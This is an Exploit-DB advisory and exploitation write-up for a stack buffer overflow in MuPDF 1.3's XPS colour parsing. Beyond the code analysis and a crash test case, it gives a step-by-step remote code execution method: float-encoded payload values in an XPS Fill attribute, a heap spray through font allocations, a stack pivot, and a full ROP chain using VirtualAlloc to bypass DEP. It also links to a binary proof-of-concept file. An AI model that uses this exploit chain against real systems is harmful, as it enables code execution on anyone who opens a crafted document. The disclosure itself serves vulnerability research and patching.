MuPDF 1.3 - 'xps_parse_color()' Stack Buffer Overflow

EDB-ID:

31090




Platform:

Windows

Date:

2014-01-20


=============================================================
0day - MuPDF Stack-based Buffer Overflow in xps_parse_color()
=============================================================
# Date of discovery: 2013-01-26
# Software Links: http://www.mupdf.com/ ; http://en.wikipedia.org/wiki/MuPDF
# Version: <= 1.3
# Author: Jean-Jamil Khalife
# Tested on: Windows XP SP3 (fr) / Windows 7 x64 (fr)
# Home: http://www.hdwsec.fr
# Blog : http://www.hdwsec.fr/blog.html

Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31090.xps

Description :
==============
This vulnerability leads to a remote code execution when a user opens a
malicious XPS document.


Disclosure Timeline :
=====================
2014-01-16 MuPDF contacted
2014-01-18 fix integrated


Analysis :
==========
When MuPDF loads the XPS document, it loads the first page and parses
each element via xps_parse_element() as detailed in the XPS
specification (
http://www.ecma-international.org/publications/files/ECMA-ST/ECMA-388.pdf ),
When the crash occurs, the call stack looks like this :

<code>
mupdf.exe!xps_parse_path
mupdf.exe!xps_parse_element
mupdf.exe!xps_parse_fixed_page
mupdf.exe!xps_run_page
mupdf.exe!fz_run_page_contents
mupdf.exe!pdfapp_loadpage
</code>

<code>
void
xps_parse_element(xps_document *doc, const fz_matrix *ctm, const fz_rect
*area, char *base_uri, xps_resource *dict, fz_xml *node )
{
.............
if (!strcmp(fz_xml_tag(node), "Path"))
xps_parse_path(doc, ctm, base_uri, dict, node);
if (!strcmp(fz_xml_tag(node), "Glyphs"))
xps_parse_glyphs(doc, ctm, base_uri, dict, node);
.............
}
</code>

In this case, the Path element is parsed via the xps_parse_path()
function which allows extraction of the attributes and extended
attributes (Clip, Data, Fill, ...).
If some conditions are fulfilled, we can trigger a stack overflow in the
xps_parse_color() function when it parses the value "ContextColor" of
the attribute "Fill".

<code>
void
xps_parse_path(xps_document *doc, const fz_matrix *ctm, char *base_uri,
xps_resource *dict, fz_xml *root)
{
fz_stroke_state *stroke = NULL;
fz_matrix transform;
float samples[32];
fz_colorspace *colorspace;
fz_path *path;
fz_path *stroke_path = NULL;
fz_rect area;
int fill_rule;
int dash_len = 0;
fz_matrix local_ctm;
.......
fill_att = fz_xml_att(root, "Fill");
.......
if (fill_att)
{
xps_parse_color(doc, base_uri, fill_att, &colorspace, samples);
if (fill_opacity_att)
samples[0] *= fz_atof(fill_opacity_att);
xps_set_color(doc, colorspace, samples);

fz_fill_path(doc->dev, path, fill_rule == 0, &local_ctm,
doc->colorspace, doc->color, doc->alpha);
}
.......
}
</code>

This function is in charge of getting all the floating numbers of
ContextColor and putting them into the samples[32] buffer. The issue is
that it does it without controlling the size of this array.

<code>
void
xps_parse_color(xps_document *doc, char *base_uri, char *string,
fz_colorspace **csp, float *samples)
{
.............
else if (strstr(string, "ContextColor ") == string)
{
fz_strlcpy(buf, string, sizeof buf);
profile = strchr(buf, ' ');
if (!profile)
{
fz_warn(doc->ctx, "cannot find icc profile uri in '%s'", string);
return;
}
*profile++ = 0;
p = strchr(profile, ' ');
if (!p)
{
fz_warn(doc->ctx, "cannot find component values in '%s'", profile);
return;
}
*p++ = 0;
n = count_commas(p) + 1;
i = 0;
while (i < n)
{
samples[i++] = fz_atof(p);
p = strchr(p, ',');
if (!p)
break;
p ++;
if (*p == ' ')
p ++;
}
}
.............
}
</code>

This is the assembly code from the compiled C code above :
<code>
.text:0047C590 loc_47C590:
.text:0047C590 push esi ; char *
.text:0047C591 call fz_atof // convert into float
.text:0047C596 fstp dword ptr [edi+ebx*4]
.text:0047C599 add esp, 4
.text:0047C59C push 2Ch ; int
.text:0047C59E push esi ; char *
.text:0047C59F add ebx, 1
.text:0047C5A2 call _strchr // search next comma
.text:0047C5A7 mov esi, eax
.text:0047C5A9 add esp, 8
.text:0047C5AC test esi, esi // check if the returned pointer is null
.text:0047C5AE jz short loc_47C5C1
.text:0047C5B0 add esi, 1
.text:0047C5B3 cmp byte ptr [esi], 20h // trim potential space
.text:0047C5B6 jnz short loc_47C5BB
.text:0047C5B8 add esi, 1
.text:0047C5BB
.text:0047C5BB loc_47C5BB:
.text:0047C5BB cmp ebx, ebp // check only the number of comma (oops...
no test for the samples size)
.text:0047C5BD jl short loc_47C590
</code>

This is an example of a proof-of-concept test case that triggers the
overflow :
<code>
<FixedPage Width="793.76" Height="1122.56"
xmlns="http://schemas.microsoft.com/xps/2005/06" xml:lang="und">
<Path Data="" Fill="ContextColor
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47"
/>
</FixedPage>
</code>

Exploitation :
==============
I decided to use the latest version of the executable provided on the
official website.
Software : MuPDF v1.3
Tested on : Windows XP SP3 (fr) / Windows 7 x64 (fr)

1) It doesn't matter if the executable is compiled with /GS (this is the
case on mupdf.exe). The reason is that the stack concerns a float array
and an old version of Visual Studio doesn't add security cookies in this
case.
If it was the case the vulnerability would be more difficult to exploit.
We can't erase the SEH because of the small stack buffer but depending
on the concerned software, it maybe possible to replace interesting
variables or structures values to control the EIP.

2) Given that samples is a float array, we have to make our payload
fit into an array of floats.
The size of the temporary buffer is limited to 0x400 bytes as can be
seen in fz_strlcpy(...). As said above, we have to make our payload fit
into an array of floats. For this reason it's important that each float
has a long ansi size (about 22 bytes), otherwise it could be not precise
enough to get the real 4-bytes values. So, 1024 / 22 = 46 * 4 bytes =
184 bytes (not enough to put our shellcode).
Here is an example :
<FixedPage Width="793.76" Height="1122.56"
xmlns="http://schemas.microsoft.com/xps/2005/06" xml:lang="und">
<Path Data="" Fill="ContextColor
7.738695572473460e+033,7.738695572473460e+033,7.813604562190658e+033,7.188661121986312e-043,7.861639730565029e+033,8.968310171678829e-044,
...... and so on. />
</FixedPage>

3) We need to write our shellcode into the heap, so maybe we could put a
stack pivot to return at the beginning of the stack buffer, process the
ROP chain and then do an egg hunter to execute the shellcode from the
heap but there is a much nicer solution.
It's possible to trigger multiple aligned allocations into the heap,
even if we can't use javascript scripting routine. I used the "font"
attribute to allocate binary data, controlling the size for each of them
else it's not possible to make precise allocations. So we can now put
the ROP and shellcode directly at 0x0c0c0c0c.
If we take a look at the assembly code, the functions displayed below
are used to do most of the allocations of elements and resources :

<code>
.text:00421BCC loc_421BCC:
.text:00421BCC mov edi, [esp+18h]
.text:00421BD0 mov eax, [esi+44h]
.text:00421BD3 call sub_40F730
.text:00421BD8 mov edi, [esp+1Ch]
.text:00421BDC lea ebx, [edi+1] // ebx = 0x100000 (1mo)
.text:00421BDF test ebx, ebx // check the size
.text:00421BE1 mov [ebp+0], eax
.text:00421BE4 mov [ebp+4], edi
.text:00421BE7 mov esi, [esi+44h]
.text:00421BEA jnz short loc_421BFD
.text:00421BEC xor eax, eax
.text:00421BEE
.text:00421BEE loc_421BEE: ; CODE XREF: .text:00421C06_j

.......

.text:00421BFD
.text:00421BFD loc_421BFD: ; CODE XREF: .text:00421BEA_j
.text:00421BFD mov eax, esi
.text:00421BFF call do_scavenging_malloc // go malloc
.text:00421C04 test eax, eax
.text:00421C06 jnz short loc_421BEE
.text:00421C08 push ebx
.text:00421C09 push offset aMallocOfDBytes ; "malloc of %d bytes failed"
.text:00421C0E lea ecx, [eax+1]
.text:00421C11 call sub_40FAD0
</code>

No particular check is made except if the size is null or zero.
Obviously, if it's zero, the function returns null.
ebx contains the size of our block (0x100000).

<code>
.text:0040F450 do_scavenging_malloc proc near
.text:0040F450 push ecx
.text:0040F451 push esi
...

.text:0040F470
.text:0040F470 loc_40F470:
.text:0040F470 mov eax, [esi]
.text:0040F472 mov ecx, [eax]
.text:0040F474 mov edx, [eax+4] // & _sub_40F7A0()
.text:0040F477 push ebx // size = 0x100000
.text:0040F478 push ecx
.text:0040F479 call edx // call _sub_40F7A0()
</code>

As we can see, __cdecl sub_40F7A0 is dynamically resolved and then
called with the size argument filled in ebx before.

<code>
.text:0040F7A0 ; int __cdecl sub_40F7A0(int, size_t)
.text:0040F7A0
.text:0040F7A0 mov eax, [esp+arg_4]
.text:0040F7A4 push eax ; size_t
.text:0040F7A5 call _malloc // do HeapAlloc() of our font size
.text:0040F7AA add esp, 4
.text:0040F7AD retn
.text:0040F7AD sub_40F7A0 endp
</code>

Finally, our font allocations are done and will remain without being freed.
Practically, we need to generate many font files containing our binary
data into a folder and write the path of each of them into the page file
using FontUri attribute of Glyphs like shown below to load them.

<code>
<FixedPage Width="793.76" Height="1122.56"
xmlns="http://schemas.microsoft.com/xps/2005/06" xml:lang="und">
<Glyphs OriginX="96" OriginY="96" UnicodeString="This is Page 1!"
FontUri="/Documents/1/Resources/Fonts/FONT-0.ttf" FontRenderingEmSize="16"/>
<Glyphs OriginX="96" OriginY="96" UnicodeString="This is Page 1!"
FontUri="/Documents/1/Resources/Fonts/FONT-1.ttf" FontRenderingEmSize="16"/>
<Glyphs OriginX="96" OriginY="96" UnicodeString="This is Page 1!"
FontUri="/Documents/1/Resources/Fonts/FONT-2.ttf" FontRenderingEmSize="16"/>
...
<Path Data="" Fill="ContextColor
5.962129799535157e-039,7.421697056603529e-039,7.334452214214666e-039, ... />
</FixedPage>

</code>
4)It now only remains to find a solution to bypass DEP. ASLR can be
bypassed in this case because mupdf.exe isn't ASLR compiled.
* A stack pivot will allow executing the ROP from the heap
<code>
0x005000a7 : # XOR EAX,EAX # POP ESI # RETN
0x0C0C0C0C : 0x0C0C0C0C
0x00453eaa : # ADD EAX,ESI # POP ESI # POP ECX # RETN
0x0C0C0C0C : 0x0C0C0C0C
0x0C0C0C0C : 0x0C0C0C0C
0x0047033d : # XCHG EAX,ESP # POP EBP # POP ESI # POP EBX # RETN
</code>

* The ROP chain is based on mupdf.exe (which is non-ASLR). In this case,
it appears that only VirtualAlloc is necessary to bypass DEP.
<code>
0x0040ebfe, # POP EAX # RETN
0x0050d0ac, # ptr to &VirtualAlloc()
0x004fdd78, # MOV EAX,DWORD PTR DS:[EAX] # POP ESI # RETN
0x41414141, # Filler (compensate)
0x00408e96, # XCHG EAX,ESI # RETN
0x004baf26, # POP EBP # RETN
0x0046521a, # & call esp
0x00421d9e, # POP EBX # RETN
0x00000001, # 0x00000001
0x004fff88, # POP EDX # RETN
0x00001000, # 0x00001000
0x0048ab04, # POP ECX # RETN
0x00000040, # 0x00000040
0x00472066, # POP EDI # RETN
0x00500681, # RETN (ROP NOP)
0x0050be74, # POP EAX # RETN
0x90909090, # NOP
0x004d99ac, # PUSHAD # RETN
</code>

Conclusion :
============
The MuPDF library is vulnerable to a stack overflow and could be
exploited in this case because of two conditions :

1) the binary is non-aslr compiled allowing us to easily get a ROP chain
and bypass DEP protection

2) it was compiled with /GS, maybe with an old version of Visual Studio
which doesn't protect arrays of floats with stack cookies.